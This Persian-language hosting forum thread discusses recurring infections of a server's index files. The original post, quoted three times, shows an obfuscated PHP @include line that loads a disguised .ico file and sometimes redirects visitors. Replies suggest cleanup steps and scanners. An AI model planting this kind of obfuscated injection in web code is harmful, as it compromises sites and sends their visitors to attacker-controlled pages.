مشکل ویروسی شدن فایل های سرور

[vahidmomtazi]

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

[ULTRAWEB]

منشا الودگی رو باید بگردی پیداکنی
مثلا پلاگینی قالبی چیزی
تااونم حذف نکنی خوب اینابازم سروکلشون پیدا میشه

[Motahari.web]

شما نرم افزار rlkill رو روی لینوکس اجرا کنید ترمینیت میشن همه

[Gameserver.IR]

با سلام

من این مشکل رو تونستم با imunify حل کنم .

[vahidmomtazi]

با سلام

من این مشکل رو تونستم با imunify حل کنم .

چی هست راهنمایی میکنی؟

[ULTRAWEB]

چی هست راهنمایی میکنی؟

ابزاری برای حذف کدهای الوده از برنامه ها و سرورها هستن دوست گرامی

[hamra]

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

بله این کد های مخرب را روی سایت های برخی مشترکین مشاهده کردیم
این مشکل از سمت پلاگین هاتون هست -
یا یک پلاگین مخرب دارید
یا پلاگین هاتون اپدیت نیست

----
راه حل:
اول فایل های سالم را روی هاست بارگزاری کنی( فایل های اولیه قبل از الوده شدن)
سپی کلیه پلاگین هارو به روز کنید و پلاگین مخربی اگر مشاهده کردید و ضروری نبود حذف کنید و مشکل رفع میشود

[youplus]

با سلام
مدتی هست که روی سرور من فایل های ایندکس با کدهایی الوده میشن
نمونه کد

/*7aaf5*/

@include "\057h\157m\145/\141d0.\151r\057p\162i\166a\164e\137h\164m\154/\141s\163e\163t\057c\163s\057c\157l\157r\163/\056c\071c\1463\0623\146.\151c\157";
/ 

الان مشکل اینجاست من تک تک فایل های سرور رو بررسی میکنم و همه اینها رو پاک میکنم
چه فایلهایی که اضافه شدن و چه مدهایی که توی فایل های خودم ادغام شدن

حتی در برخی مواقع تمامی سایت ها رو از هم جدا میکنم رو سرور و از یک جا هر کدوم رو میبرم روی یه رسیلری که سطح دسترسی راحت نباشه

خلاصه اینکه امروز پاک میکنم فردا باز اینها میاد

کار این ویروس هم اینه مثلا از چند بار رفرش یک بار کاربر رو به سایت های خودش هدایت میکنه والان من به مشکل برخوردم

کسی اگر در این مورد چیزی میدونه کمک کنه

سپاس

سلام.
این مسیر آلوده است:
/home/******************/private_html/assest/css/colors

[soheil869]

من معمولا روی سرور CXS
https://configserver.com/cp/cxs.html

رو نصب میکنم و معمولا هم خیلی خوب کار میکنه و مشکلی نداره